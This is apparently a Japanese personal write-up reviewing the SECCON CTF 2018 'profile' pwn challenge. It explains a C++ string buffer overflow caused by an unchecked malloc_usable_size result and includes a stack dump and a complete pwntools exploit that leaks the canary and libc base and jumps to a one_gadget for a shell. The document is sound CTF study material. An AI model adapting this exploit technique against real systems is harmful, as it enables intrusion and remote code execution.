SECCON CTF 2018 Online Profile 復習
SECCON CTF 2018 Online Profile 復習
参考にしたサイト
- https://teamrocketist.github.io/2018/11/04/Pwn-Seccon-2018-Profile/
- Writeupその1、丁寧な方
- https://github.com/sajjadium/ctf-writeups/tree/master/SECCON/2018/profile
- Writeupその2、概要しか書かれていないのでこれだけでは解けなかった
- http://shift-crops.hatenablog.com/entry/2018/11/05/042149
- 作問者さまのサイト、ソースコードとExploitを参考にした
問題
profileというプログラムとlibcが降ってくる。
セキュリティ機構は以下。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
標準的なセキュリティ機構は有効で変わったところはない。
次はfile
の出力。
profile: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80d81e528f97618c35e57b145a0c11df21769e67, not stripped
x64らしい。
解析
Radare2で解析してみたらC++だった。
復習目的だったのと、ちょっと探しただけじゃ脆弱性を見つけられなかったのですぐにWriteupを見た。
Writeupその2によると、バッファオーバーフローがあるらしい。
stringクラスの内部メモリ構造を理解する必要があり、文字列の内部ポインタを上書きすることで任意の読み出しができるそうだ。
read@GOTをリークさせてlibcベースを見つけ出し、one gadget RCEでsystem(/bin/sh)を実行する。
上の文章はほぼ直訳になってる。
stringクラス
Writeupその1を参考にした、要は長さが16未満の文字列をコンストラクタに渡したときはヒープに領域を確保せずスタックに積むようになるということらしい。
自分じゃコードとか解析しきれなかった、パワーが足りない...
Writeupその1から取ってきたPoCコード。
#include <cstdlib> #include <iostream> #include <string> // replace operator new and delete to log allocations void* operator new(std::size_t n) { std::cout << "[Allocating " << n << " bytes]"; return malloc(n); } void operator delete(void* p) throw() { free(p); } int main() { for (size_t i = 0; i < 24; ++i) { std::cout << i << ": " << std::string(i, '=') << std::endl; } }
実行すると16文字以降からはヒープに領域が確保され、それまではスタックに確保されていることが分かる。
Profile::update_msg
で使われているmalloc_usable_size
はスタックのアドレスが引数として渡された場合は負数を返すようになっている。
関数内で負数のチェックをしていないため、文字列長のチェックをすり抜けバッファオーバーフローさせられる。
作問者さまのサイトから拾ってきたソースコードの該当する部分。
void Profile::update_msg(void){ char *buf; size_t size; buf = (char*)msg.c_str(); if(!(size = malloc_usable_size(buf))){ // ここで負数が返される cout << "Unable to update message." << endl; return; } cout << "Input new message >> "; getn(buf, size); // ここで、sizeがunsignedなので巨大な正の数として扱われる }
説明のためにコード中にコメントを書き加えた。
Exploit
stringとProfileクラスがスタック上でどうなっているのかよく分からなくて苦戦した。
おおまかには次のようになっている、pwndbgのtelescopeほぼそのまま。
0c:0060│ rax rdi 0x7fffffffd490 <- 0x54534554 /* 'TEST' */ 0d:0068│ 0x7fffffffd498 -> 0x401544 <- no 0e:0070│ 0x7fffffffd4a0 -> 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */ # Profile p.msg、文字列が格納されている場所へのポインタ 0f:0078│ 0x7fffffffd4a8 <- 0x4 # Profile p.msg、格納されている文字数 10:0080│ 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */ # Profile p.msg、バッファの前半部分 11:0088│ 0x7fffffffd4b8 -> 0x40155a (_GLOBAL__sub_I__ZN7Profile10update_msgEv+19) <- pop rbp #Profile p.msg、バッファの後半部分 12:0090│ 0x7fffffffd4c0 -> 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */ # Profile p.name、文字列が格納されている場所へのポインタ 13:0098│ 0x7fffffffd4c8 <- 0x4 # Profile p.name、格納されている文字数 14:00a0│ 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */ # Profile p.name、バッファの前半部分、16バイト 15:00a8│ 0x7fffffffd4d8 <- 0x0 # Profile p.name、バッファの後半部分 16:00b0│ 0x7fffffffd4e0 <- 0x14 # Profile p.age、20を入力した 17:00b8│ 0x7fffffffd4e8 <- 0x9772425bb8672300 # canary、prev rbpとの間はパディング? 18:00c0│ 0x7fffffffd4f0 -> 0x7fffffffd5e0 <- 0x1 19:00c8│ 0x7fffffffd4f8 <- 0x0 1a:00d0│ rbp 0x7fffffffd500 -> 0x4016b0 (__libc_csu_init) <- push r15 # prev rbp 1b:00d8│ 0x7fffffffd508 -> 0x7ffff7495830 (__libc_start_main+240) <- mov edi, eax # return address
スタックの配置がこんな感じになっているので、Profile::update_msg
のgetn(buf, size);
でバッファオーバーフローさせることで、p.name
の文字列が格納されている場所へのポインタが書き換えられる。
書き換えたあとでshow profile
を選択することで、任意のアドレスの値を表示させられる。
ASLRを考慮してか、WriteupのExploitでは末尾1バイト分を書き換えるようになっていた。
末尾だけを0x00から0xffの範囲で書き換えて順番に表示することで、スタックの一定の範囲を全てダンプすることができる。
上の例にならうと0x7fffffffd4XX
の範囲の値を全て見ることができる。
また、Profile p
がスタックに確保されていることを考えると、ダンプした範囲のどこかにProfile p
自身も含まれている可能性が高い。
以上のことから、0x00から0xffの範囲をダンプしてp.msg
に入力した文字列を探し、その相対位置からcanaryを特定することが可能になる。
次に、p.name
の指すアドレスをGOT領域のread
に設定して、read
が実際に存在しているアドレスを特定する。
実際に存在しているアドレスとlibc内のオフセットから、libcのベースアドレスを知ることができる。
あとはsystem
と/bin/sh
かone gadget RCEを使い、canaryによる検知を回避して、ripを奪いシェルを起動すればいい。
Writeupその1とか作問者さまのサイトにあったコードを参考にしつつ、Exploitを作成。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './profile' libc = './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('profile.pwn.seccon.jp', 28553) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== menu = {'exit': '0', 'update': '1', 'show': '2'} io = start(env={ 'LD_PRELOAD': './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253' }) elf = ELF(exe) libc = ELF(libc) # メニューの'update message'へ、payloadを入力する def update(payload): io.sendlineafter('>> ', menu['update']) io.sendlineafter('Input new message >> ', payload) # メニューの'show profile'を呼び出すだけ def show(): io.sendlineafter('>> ', menu['show']) # p.nameのアドレスをaddrで書き換えて、show profileで表示させその値を返す # パディングはあとでp.msgの位置を特定するために使う def leak_val(addr, padding='AAAAAAAABBBBBBBB'): assert (len(padding) == 16) update(padding + addr) show() io.recvuntil('Name : ') # スタックのアドレスなんかは上位2バイトが0になってるので注意が必要 out = io.recvuntil('Age :').strip().ljust(8, '\x00')[:8] return u64(out) name = 'X' * 15 age = '20' msg = 'Y' io.sendline(name) io.sendline(age) io.sendline(msg) # スタックの値をダンプする leak_vals = [] for i in range(0, 0x100, 8): leak = leak_val(chr(i)) log.info("Leak @ {:02x}: 0x{:016x}".format(i, leak)) leak_vals.append(leak) # パディングで設定した値から、p.msgの位置を特定する if u64('A' * 8) not in leak_vals: print("Canary is not found on the stack, retry.") io.close() exit(1) # 特定したp.msgの位置からのオフセットで他の値を取得する msg_pos = leak_vals.index(u64('A' * 8)) canary = leak_vals[msg_pos + 7] prev_rbp = leak_vals[msg_pos + 10] # rbpからの相対アクセスで変なアドレスにアクセスしないようにするために使う # p.nameの文字列へのポインタのアドレス # main終了時にfreeされるらしく変なアドレスだとエラーが発生するため、それを回避するために使う # 自分自身のアドレスがリークされていることに注意、つまりp.nameにある文字列へのポインタのアドレスを保持している変数自体のアドレスになる profile_name_addr = leak_vals[msg_pos + 2] log.info('canary: 0x{:x}'.format(canary)) log.info('prev_rbp: 0x{:x}'.format(prev_rbp)) # オーバーフローでシェルを起動する # read@GOTの値をリークすることで、one gadget RCEのアドレスを取得する read_got = leak_val(p64(elf.got['read'])) libc_base = read_got - libc.symbols['read'] one_gadget = libc_base + 0x45216 # one_gadgetで調べたアドレス、rax == nullの制約があるらしい payload = 'A' * (8 * 2) # p.msgのバッファを埋めるパディング payload += p64(profile_name_addr + 0x10) # freeされるため元のアドレスを復元する、0x10バイト先が本来のバッファなので0x10を足せばバッファのアドレスになる payload += 'B' * (8 * 4) # パディング payload += p64(canary) payload += 'X' * 8 payload += 'X' * 8 payload += p64(prev_rbp - 0x100) # 変なアドレスにならないようにrbpから適当な位置に設定 payload += p64(one_gadget) # シェルを起動 update(payload) io.sendlineafter('>> ', menu['exit']) # exitしてmain関数からリターンする io.interactive()
感想
C++のバイナリはあまり慣れていないから新鮮だった。
特にstringの構造については調べることすらろくにできなかったので、本番でもどうしようもなかった気がする。
Writeupでは細かいテクニックを色々使って解いているので勉強になった。